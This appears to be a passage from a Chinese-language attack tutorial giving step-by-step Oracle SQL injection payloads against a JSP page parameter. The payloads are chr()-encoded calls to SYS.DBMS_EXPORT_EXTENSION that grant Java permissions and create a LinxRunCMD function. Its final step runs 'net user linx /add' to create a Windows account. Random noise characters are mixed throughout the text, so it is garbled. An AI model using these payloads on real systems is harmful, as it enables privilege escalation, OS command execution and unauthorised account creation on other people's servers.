chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||2 O( E, \' o+ l
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
+ j. N9 l. S* Q+ x5 w6 Q! B6 k,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
( s  d) c& J: n# }! B
* ~8 R2 M4 J( ^1 S)
) ?9 N+ D! K; ^7 f6 [0 K7 {# o5 q' O' I
------------------------------, m9 u3 Y$ u  `) A' S

6 R/ \! ^+ e4 S  [2.赋Java权限
( z3 t& a  f  `  w' L/xxx.jsp?id=1 and chr(49)<>chr(50)||(
$ C& L( @' \  U; x3 C- S  ~: M9 R0 k9 I5 Q7 S, }) T/ R) Z# ?; z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),) G+ p- t% T1 }0 g
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
: Y' F5 f- l, `& z6 X$ jchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
' l; I8 B/ Q9 d1 [2 j, I( K- r+ \chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
$ |( m8 z. T2 {- r4 bchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
  s, f) \- Z! D0 z4 e( x5 [chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||1 q  l; {5 C( N6 h. S- }
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||* v1 Z8 S: z* ?3 j. b1 Q' g
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
1 e4 u0 y, e# W& v4 B" H7 m3 f6 ]chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||0 d, \; n6 o$ g- f
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)% |" e2 U+ y/ V- r- ^3 i" J+ J* ]
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
+ O2 s7 i5 n* q8 E+ ^3 r$ P6 x: p. D( F: W' T
)" C; u4 Y% R& U  {& X
9 |: K. g( N$ J6 g0 q! X
readfile函数的ascii版就不写了,见谅。6 W. Y0 A& F- u9 Z2 @$ x! Q2 V

) D& X1 H0 x. W6 Y$ p. }3.创建函数
, H, c# h' ^! B* Y5 G0 P2 U2 \/ l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
6 L! u9 r  d2 h- {chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||. }4 ^! o+ r5 D. {
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||+ U( {' {; d$ N/ v
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
' V3 d5 o$ |" ^  L' E8 Vchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
: j( S" s  P. j& q9 p2 _chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||/ P3 Q; i% _+ e( t' U0 h0 i
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
# x1 z1 h) G; |. xchr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||' p( L$ ?- Z+ J8 r3 A
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||0 g4 c. {5 x0 F2 l
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
  S' X5 b9 h. L5 z- c, z& E: d* ?chr(59)||chr(45)||chr(45)! S  {8 ~  f6 g1 S
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual" R9 S, t7 l& k. C# N6 t0 d6 C

  B8 \( I* z9 u6 c/ G8 o* \  K+ s7 }: Y4 u, s/ a* F% B

; {9 ~+ `# ]0 p- b/ c4.赋public执行函数的权限. }! x6 b; H( V. s/ ?

* |* H; T# ?# y4 o/ j- Bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
1 w$ Y2 `: D* `chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||8 o5 r, j: z2 t/ {- d6 x' M) x
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
9 p/ @$ e( L1 z% m- \chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
! d' v) L/ Q3 \9 S4 ochr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
; q. n. v$ T- Bchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
% c) \' t; [3 b* O* Bchr(59)||chr(45)||chr(45)
: x. u! g$ v/ ^( ]+ O% g,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual6 }5 _% t* I$ n) C. n4 S: r$ p
9 [3 U; p( z1 a# k

8 b$ u. y& [2 w' T1 N- o
9 b3 t4 d0 _% q* N5.执行命令:
6 z* D7 K, _, w' g) x) [3 j0 a( E6 F
/xxx.jsp?id=1 and chr(49)<>chr(32)||(/ l* N, a( F0 L! m* `  ]3 i
select sys.LinxRunCMD('cmd /c net user linx /add') from dual( _* i  C0 W# J- n$ i( Z& Y; J  ?+ x
)
+ e4 ?* X. Z0 ^1 H" u) d% R- U/ }5 {

4 w& I. h3 ~+ U: k2 A; w/xxx.jsp?id=1 and chr(49)<>chr(32)||() W( B. m" ]$ W* t! i
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
1 N$ ^( b5 n1 v, ~5 ~)
, j# D! [/ v5 f& M$ P) i9 @. w/ s




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